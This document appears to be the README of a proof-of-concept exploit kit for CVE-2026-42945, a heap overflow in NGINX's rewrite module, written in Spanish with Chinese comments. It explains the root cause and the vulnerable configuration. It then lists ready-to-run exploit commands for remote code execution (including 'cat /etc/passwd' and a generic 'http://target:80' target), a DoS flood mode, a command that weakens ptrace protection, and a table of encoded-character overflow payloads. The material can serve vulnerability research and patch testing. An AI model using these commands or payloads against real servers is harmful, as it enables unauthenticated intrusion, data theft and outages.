
Prueba de concepto de explotación para CVE-2026-42945, un desbordamiento de montón crítico en el módulo de reescritura de NGINX que permite la ejecución remota de código sin autenticación mediante codificación de URI manipulada. Incluye entorno de pruebas basado en Docker, validación ASAN y múltiples scripts de explotación.
RCE confirmado exitoso — mediante desbordamiento de montículo + inyección de proceso GDB, ejecuta comandos arbitrarios en los procesos worker de NGINX / OpenResty.
# 一键构建 NGINX 镜像 + 执行 RCE 测试
./run.sh nginx
# 一键构建 OpenResty 镜像 + 执行 RCE 测试
./run.sh openresty
# 自定义命令
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'
| Propiedad | Valor |
|---|---|
| Número CVE | CVE-2026-42945 |
| Tipo de vulnerabilidad | Desbordamiento de búfer en montículo → Ejecución remota de código (RCE) |
| Componente afectado | ngx_http_rewrite_module |
| Versiones afectadas | NGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36 |
| Puntuación de vulnerabilidad | CVSS 9.4 (CRÍTICO) |
| Condiciones de explotación | Sin autenticación; RCE requiere privilegios ptrace (root) |
ngx_http_script_complex_value_code() asigna el búfer según la longitud después de decodificar la URI, pero ngx_http_script_copy_capture_code() llama a ngx_escape_uri() y escribe según la longitud después de codificar. Los caracteres de URL codificados se expanden 3 veces → desbordamiento del montículo.
Se deben cumplir tres condiciones simultáneamente:
rewrite y set en la misma locationrewrite contiene ?set hace referencia a la variable capturada $1 de rewritelocation ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # 含 '?'
set $original_endpoint $1; # 引用 $1
}
#0 ngx_escape_uri src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler src/http/modules/ngx_http_rewrite_module.c:180
.
├── run.sh # Punto de entrada para construir y probar con un solo comando
├── README.md
│
├── scripts/ # Scripts de prueba y explotación
│ ├── rce.sh # RCE puro en Shell (curl + GDB, sin Python)
│ ├── exploit_rce.py # RCE en Python (compatible 2.7/3.x)
│ ├── exploit.py # Script principal del PoC (check/exploit/rce/flood)
│ └── exploit_asan.py # Escaneo completo con ASAN
│
├── package/ # Archivos de despliegue y orquestación
│ ├── Dockerfile.rce # Compilación de NGINX desde código fuente + entorno RCE
│ ├── Dockerfile.openresty.rce # Compilación de OpenResty desde código fuente + entorno RCE
│ ├── Dockerfile # Imagen base (Alpine)
│ ├── Dockerfile.asan # Imagen de depuración con ASAN
│ ├── docker-compose.yml # Orquestación Docker (nginx-rce + openresty-rce)
│ ├── nginx.conf # Configuración vulnerable de NGINX
│ ├── nginx-openresty.conf # Configuración vulnerable de OpenResty
│ ├── start_rce.sh # Script de inicio del contenedor NGINX RCE
│ └── start_openresty_rce.sh # Script de inicio del contenedor OpenResty RCE
│
└── src/ # Código fuente (para compilación)
├── nginx-1.26.3/ # Código fuente de NGINX 1.26.3
├── nginx-1.26.3.tar.gz
└── openresty-1.25.3.1.tar.gz # Código fuente de OpenResty 1.25.3.1 (nginx/1.25.3 integrado)
# Script Shell (sin dependencia de Python)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'
# Script Python (compatible 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'
# OpenResty de manera similar
docker exec openresty-rce bash /opt/rce.sh 'id'
docker exec -it nginx-rce bash
# Dentro del contenedor:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'
# Requiere root + privilegios ptrace
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'
python3 scripts/exploit.py --target http://localhost:8775 --mode check # Detectar vulnerabilidad
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit # Verificación de desbordamiento de montículo con ASAN
python3 scripts/exploit.py --target http://localhost:8775 --mode rce # Evaluación de riesgo RCE
python3 scripts/exploit.py --target http://localhost:8775 --mode flood # Prueba de estrés DoS
rewrite (con ?) + set (que referencia $1)%25/%3f/%23/%26echo 1 > /proc/sys/kernel/yama/ptrace_scope| Payload | Descripción | Resultado |
|---|
/api/%25 × N | % codificado | ✅ Desbordamiento de montículo |
/api/%3f × N | ? codificado | ✅ Desbordamiento de montículo |
/api/%23 × N | # codificado | ✅ Desbordamiento de montículo |
/api/%26 × N | & codificado | ✅ Desbordamiento de montículo |